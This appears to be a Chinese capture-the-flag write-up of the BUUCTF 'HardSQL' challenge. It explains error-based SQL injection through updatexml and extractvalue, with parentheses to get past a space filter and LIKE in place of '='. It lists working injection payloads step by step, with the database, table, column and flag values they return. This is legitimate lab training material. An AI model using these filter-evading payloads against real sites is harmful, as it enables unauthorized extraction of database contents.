buuctf [极客大挑战 2019]HardSQ
这个题目是报错注入的典型,值得记录一下
简单尝试之后常见的字符比如空格 union都被黑名单了 尝试用/**/绕过空格但还是不行,只能用()来绕过空格
这里测试空格是否被河蟹 不能通过1’加空格 这样测试是不对的
最好是用1' #
这样测试比较正确,因为一般题目不会河蟹#字符
空格绕过的原理: 括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格
so 所以只能用报错注入了,这里就好好回顾一下报错注入
一般报错注入分为两个函数:updatexml() 与extractvalue()
就拿updatexml举例 他们两的差别就只是传参上
updatexml(1,2,3)
函数总共有三个参数,当第二个参数有特殊符号时,就会触发数据库报错,而且将参数2的内容显示在报错信息中,常用是~
他的十六进制用0x7e
表示
然后,报错注入常用拼接函数 concat和group_concat
concat
和group_concat
都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat
是针对以行数据做的拼接,而group_concat
是针对列做的数据拼接,且group_concat
自动生成逗号。
所以格式一般为:updatexml(1,concat(0x7e,sql语句,0x7e),1)
然而,extractvalue(1,2
)只有两个参数,当第二个参数具有特殊符号时,则会报错。
格式为:extractvalue( 1,concat(0x7e,sql语句))
回到题目:
其实题目本身就是考察报错注入与绕过空格 这里就简单谢谢payload:
1 | 1'or(updatexml(1,concat(0x7e,database(),0x7e),1))# |
XPATH syntax error: ‘geek‘
1 | 1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))# |
XPATH syntax error: ‘H4rDsq1‘
1 | 1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))# |
XPATH syntax error: ‘id,username,password‘
1 | 1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))# |
XPATH syntax error: ‘~1flagflag{9804c176-72e3-46d2-90’
这里flag显示的不完全,用到left 和 right函数
1 | 1'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))# |
XPATH syntax error: ‘~04c176-72e3-46d2-902b-0e79f4ea1’
查询到其余的flag
因为还河蟹了= 所以用了like语句
完成!